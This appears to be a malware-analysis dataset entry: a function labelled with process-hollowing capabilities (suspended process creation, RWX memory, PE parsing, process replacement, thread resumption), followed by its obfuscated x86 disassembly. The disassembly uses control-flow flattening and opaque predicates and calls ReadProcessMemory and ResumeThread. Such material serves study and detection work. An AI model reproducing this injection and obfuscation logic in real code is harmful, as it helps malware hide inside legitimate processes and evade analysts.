Function at 0x10003620
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf8
mov eax, dword [0x1006a200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x7b95e7af
sub edx, 1
add edx, 0x7b95e7af
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xfa], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xf9], al
mov dword [ebp - 0x100], 0x38893497
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x104], eax
sub eax, 0x80520b3e
je 0x10007b1a
jmp 0x1000369b
mov eax, dword [ebp - 0x104]
sub eax, 0x8064dcd9
je 0x10009d8d
jmp 0x100036b1
mov eax, dword [ebp - 0x104]
sub eax, 0x80762adf
je 0x1000843d
jmp 0x100036c7
mov eax, dword [ebp - 0x104]
sub eax, 0x817c1272
je 0x100083ae
jmp 0x100036dd
mov eax, dword [ebp - 0x104]
sub eax, 0x82e93675
je 0x1000853d
jmp 0x100036f3
mov eax, dword [ebp - 0x104]
sub eax, 0x82eb8f19
je 0x100080f5
jmp 0x10003709
mov eax, dword [ebp - 0x104]
sub eax, 0x84a2b698
je 0x10007840
jmp 0x1000371f
mov eax, dword [ebp - 0x104]
sub eax, 0x85dc8774
je 0x10008879
jmp 0x10003735
mov eax, dword [ebp - 0x104]
sub eax, 0x86488cfe
je 0x1000a938
jmp 0x1000374b
mov eax, dword [ebp - 0x104]
sub eax, 0x8822cf29
je 0x1000a4e9
jmp 0x10003761
mov eax, dword [ebp - 0x104]
sub eax, 0x883b54d7
je 0x10009dba
jmp 0x10003777
mov eax, dword [ebp - 0x104]
sub eax, 0x88fa135c
je 0x100086e5
jmp 0x1000378d
mov eax, dword [ebp - 0x104]
sub eax, 0x89b39993
je 0x1000a2d3
jmp 0x100037a3
mov eax, dword [ebp - 0x104]
sub eax, 0x8bcbedca
je 0x10005b70
jmp 0x100037b9
mov eax, dword [ebp - 0x104]
sub eax, 0x8c918153
je 0x10006812
jmp 0x100037cf
mov eax, dword [ebp - 0x104]
sub eax, 0x8cce8bfd
je 0x1000a7cf
jmp 0x100037e5
mov eax, dword [ebp - 0x104]
sub eax, 0x8e15a8a1
je 0x1000ae4e
jmp 0x100037fb
mov eax, dword [ebp - 0x104]
sub eax, 0x8f41ee98
je 0x10005cb7
jmp 0x10003811
mov eax, dword [ebp - 0x104]
sub eax, 0x8fd60744
je 0x10006119
jmp 0x10003827
mov eax, dword [ebp - 0x104]
sub eax, 0x903d4079
je 0x10005e84
jmp 0x1000383d
mov eax, dword [ebp - 0x104]
sub eax, 0x903f97bb
je 0x1000a03e
jmp 0x10003853
mov eax, dword [ebp - 0x104]
sub eax, 0x9099ce8b
je 0x1000adeb
jmp 0x10003869
mov eax, dword [ebp - 0x104]
sub eax, 0x90ec4111
je 0x1000a836
jmp 0x1000387f
mov eax, dword [ebp - 0x104]
sub eax, 0x92e90554
je 0x1000a5ba
jmp 0x10003895
mov eax, dword [ebp - 0x104]
sub eax, 0x93b84bc6
je 0x10005dee
jmp 0x100038ab
mov eax, dword [ebp - 0x104]
sub eax, 0x943aa7b5
je 0x10007040
jmp 0x100038c1
mov eax, dword [ebp - 0x104]
sub eax, 0x94682125
je 0x10008f95
jmp 0x100038d7
mov eax, dword [ebp - 0x104]
sub eax, 0x94848861
je 0x10006500
jmp 0x100038ed
mov eax, dword [ebp - 0x104]
sub eax, 0x9512998b
je 0x1000ac44
jmp 0x10003903
mov eax, dword [ebp - 0x104]
sub eax, 0x9579654d
je 0x10006c62
jmp 0x10003919
mov eax, dword [ebp - 0x104]
sub eax, 0x9591dec0
je 0x10009b4a
jmp 0x1000392f
mov eax, dword [ebp - 0x104]
sub eax, 0x962fc713
je 0x1000ad88
jmp 0x10003945
mov eax, dword [ebp - 0x104]
sub eax, 0x9665d61f
je 0x1000958a
jmp 0x1000395b
mov eax, dword [ebp - 0x104]
sub eax, 0x98144ed5
je 0x10006ca0
jmp 0x10003971
mov eax, dword [ebp - 0x104]
sub eax, 0x993619c9
je 0x10008570
jmp 0x10003987
mov eax, dword [ebp - 0x104]
sub eax, 0x99777315
je 0x1000a20f
jmp 0x1000399d
mov eax, dword [ebp - 0x104]
sub eax, 0x9a3d39c1
je 0x10005d6e
jmp 0x100039b3
mov eax, dword [ebp - 0x104]
sub eax, 0x9a73be58
je 0x10006833
jmp 0x100039c9
mov eax, dword [ebp - 0x104]
sub eax, 0x9b0bd583
je 0x10008bc2
jmp 0x100039df
mov eax, dword [ebp - 0x104]
sub eax, 0x9b8d2d21
je 0x10008df9
jmp 0x100039f5
mov eax, dword [ebp - 0x104]
sub eax, 0x9ca4b52a
je 0x10005c84
jmp 0x10003a0b
mov eax, dword [ebp - 0x104]
sub eax, 0x9d0f124b
je 0x10008f10
jmp 0x10003a21
mov eax, dword [ebp - 0x104]
sub eax, 0x9d74f6c6
je 0x1000af15
jmp 0x10003a37
mov eax, dword [ebp - 0x104]
sub eax, 0x9ee9186b
je 0x1000862a
jmp 0x10003a4d
mov eax, dword [ebp - 0x104]
sub eax, 0x9fa839c3
je 0x1000912f
jmp 0x10003a63
mov eax, dword [ebp - 0x104]
sub eax, 0xa02b4140
je 0x10006373
jmp 0x10003a79
mov eax, dword [ebp - 0x104]
sub eax, 0xa10a18a7
je 0x1000926c
jmp 0x10003a8f
mov eax, dword [ebp - 0x104]
sub eax, 0xa115971d
je 0x10007f5a
jmp 0x10003aa5
mov eax, dword [ebp - 0x104]
sub eax, 0xa274b347
je 0x10006ac3
jmp 0x10003abb
mov eax, dword [ebp - 0x104]
sub eax, 0xa29f4880
je 0x100070d3
jmp 0x10003ad1
mov eax, dword [ebp - 0x104]
sub eax, 0xa3096990
je 0x10008a20
jmp 0x10003ae7
mov eax, dword [ebp - 0x104]
sub eax, 0xa31bb023
je 0x1000610a
jmp 0x10003afd
mov eax, dword [ebp - 0x104]
sub eax, 0xa5d19c86
je 0x10009f06
jmp 0x10003b13
mov eax, dword [ebp - 0x104]
sub eax, 0xa64052fd
je 0x10007e12
jmp 0x10003b29
mov eax, dword [ebp - 0x104]
sub eax, 0xa74211f6
je 0x1000678b
jmp 0x10003b3f
mov eax, dword [ebp - 0x104]
sub eax, 0xa784277d
je 0x10005b7f
jmp 0x10003b55
mov eax, dword [ebp - 0x104]
sub eax, 0xa7ddbde0
je 0x100099d3
jmp 0x10003b6b
mov eax, dword [ebp - 0x104]
sub eax, 0xa952d5f3
je 0x10007b0b
jmp 0x10003b81
mov eax, dword [ebp - 0x104]
sub eax, 0xa95be842
je 0x100069e0
jmp 0x10003b97
mov eax, dword [ebp - 0x104]
sub eax, 0xa9ba0238
je 0x100067f5
jmp 0x10003bad
mov eax, dword [ebp - 0x104]
sub eax, 0xaa873152
je 0x10006b05
jmp 0x10003bc3
mov eax, dword [ebp - 0x104]
sub eax, 0xaab15377
je 0x10007d4b
jmp 0x10003bd9
mov eax, dword [ebp - 0x104]
sub eax, 0xab9f8977
je 0x1000a6d7
jmp 0x10003bef
mov eax, dword [ebp - 0x104]
sub eax, 0xac2acd43
je 0x10008063
jmp 0x10003c05
mov eax, dword [ebp - 0x104]
sub eax, 0xac8c8ea8
je 0x10008b2b
mov dword [ebp - 0x100], 0xa784277d
jmp 0x1000afe6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018398]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xf4a3cab6
jmp 0x1000afe6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018394]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018390]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x8f41ee98
jmp 0x1000afe6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x48544b83
mov ecx, 0x45072896
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0xbce66456
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x63afcc85
jmp 0x1000afe6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018240]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xa7467899
sub edx, 1
add edx, 0xa7467899
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb27b8306
mov ecx, 0x5ef8073d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x8fd60744
jmp 0x1000afe6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf5091677
mov ecx, 0xc3bd4d32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001822c]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0x771d027e
sub edx, 1
sub edx, 0x771d027e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x86488cfe
mov ecx, 0x6bee1488
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x77357255
jmp 0x1000afe6
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001821c]
movss dword [eax], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb297fe2e
mov ecx, 0xf8f1ce17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dl, 1
mov eax, 0x2812e47d
mov ecx, 0x8c918153
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001836c]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x9a73be58
jmp 0x1000afe6
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018368]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x2812e47d
jmp 0x1000afe6
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018214]
movss dword [eax], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xc16fb369
sub edx, 1
add edx, 0xc16fb369
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1b6e55c
mov ecx, 0xe0554a62
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0xfe4930e5
jmp 0x1000afe6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x6c0fe8a5
sub edx, 1
add edx, 0x6c0fe8a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6e0faa2d
mov ecx, 0x4df3593f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018344]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xccff9c0
jmp 0x1000afe6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d610d04
mov ecx, 0x764db7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dl, 1
mov eax, 0x7dd103f5
mov ecx, 0x48975732
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018200]
movss dword [eax], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea214700
mov ecx, 0x78adeee5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182e8]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x1d66a2f9
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x80520b3e
jmp 0x1000afe6
mov dl, 1
mov eax, 0xd8058ee5
mov ecx, 0x3af864a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xe5abb8a7
sub edx, 1
add edx, 0xe5abb8a7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9512998b
mov ecx, 0xae022559
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x3675a08b
jmp 0x1000afe6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xc1908bc1
sub edx, 1
add edx, 0xc1908bc1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf616ae85
mov ecx, 0xf5981f1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100181c4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100181c0]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc1338511
mov ecx, 0x82eb8f19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0xd4dba3f9
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x3d4270ba
jmp 0x1000afe6
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100182b0]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xca764fea
jmp 0x1000afe6
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10018298]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10018294]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x993619c9
jmp 0x1000afe6
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10018290]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xd2898796
mov ecx, 0x29fb9a61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100181bc]
movss dword [eax], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4c219f8
mov ecx, 0xd284fe2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xae6edb7e
mov ecx, 0x19c3a1d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb846a6af
mov ecx, 0x32f95a99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dl, 1
mov eax, 0xafcd5339
mov ecx, 0x7114c01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10018278]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xffdcec69
jmp 0x1000afe6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x52f49a9e
sub edx, 1
add edx, 0x52f49a9e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd8c2be8d
mov ecx, 0x4742b850
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x59962770
jmp 0x1000afe6
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001819c]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9099ce8b
mov ecx, 0x5bf0318b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0xe1ce642c
jmp 0x1000afe6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0x5b303261
sub edx, 1
add edx, 0x5b303261
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8e15a8a1
mov ecx, 0x1bb58d6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0xb2d7e6fe
sub edx, 1
sub edx, 0xb2d7e6fe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x39e6fbe9
mov ecx, 0x754a737a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dl, byte [ebp - 0x71]
mov eax, 0xb2815c15
mov ecx, 0xbab64a61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9d74f6c6
mov ecx, 0xd700aab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x65], al
mov dword [ebp - 0x100], 0x883b54d7
jmp 0x1000afe6
mov dl, byte [ebp - 0x65]
mov eax, 0x42342df6
mov ecx, 0xce0b65e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
add edx, 0x28c6394b
sub edx, 1
sub edx, 0x28c6394b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2cd94383
mov ecx, 0xc1f0ad28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xeb4f0093
sub edx, 1
add edx, 0xeb4f0093
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3df51fe1
mov ecx, 0x28d21191
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x10b29e00
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x6da504a8
jmp 0x1000afe6
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x92e90554
mov ecx, 0xff13e258
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000afe6
mov dword [ebp - 0x100], 0xc5b0e46
jmp 0x1000afe6
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x18]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x6da504a8
jmp 0x1000afe6
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x100], 0xb2815c15
jmp 0x1000afe6
mov dword [ebp - 0x100], 0xb49d2735
jmp 0x1000afe6
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001822c]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xa02b4140
jmp 0x1000afe6
mov dword [ebp - 0x100], 0xae022559
jmp 0x1000afe6
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x2d8897b7
jmp 0x1000afe6
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001819c]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x94682125
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x1bb58d6d
jmp 0x1000afe6
mov dword [ebp - 0x100], 0x9591dec0
jmp 0x1000afe6
jmp 0x1000367f